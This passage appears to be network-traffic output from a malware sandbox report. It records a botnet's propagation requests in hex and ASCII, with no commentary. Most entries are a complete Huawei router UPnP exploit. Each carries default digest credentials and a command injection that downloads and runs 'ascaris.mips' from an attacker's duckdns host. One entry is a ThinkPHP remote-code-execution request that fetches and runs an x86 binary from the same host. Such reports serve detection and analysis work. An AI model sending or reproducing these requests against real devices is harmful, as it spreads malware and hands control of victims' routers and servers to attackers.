41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET Data Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g amkbins.duckdns.org -l /tmp/ascaris.mips -r /bins/ascaris.mips; /bin/busybox chmod 777 * /tmp/ascaris.mips; /tmp/ascaris.mips huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
Source: global traffic | HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateData Raw: Data Ascii: |
Source: global traffic | HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 61 6d 6b 62 69 6e 73 2e 64 75 63 6b 64 6e 73 2e 6f 72 67 20 2d 6c 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 2d 72 20 2f 62 69 6e 73 2f 61 73 63 61 72 69 73 2e 6d 69 70 73 3b 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 3b 2f 74 6d 70 2f 61 73 63 61 72 69 73 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 3b 72 6d 20 2d 72 66 20 2f 74 6d 70 2f 61 73 63 61 72 69 73 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(busybox wget -g amkbins.duckdns.org -l /tmp/ascaris -r /bins/ascaris.mips;chmod 777 /tmp/ascaris;/tmp/ascaris huawei.selfrep;rm -rf /tmp/ascaris)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
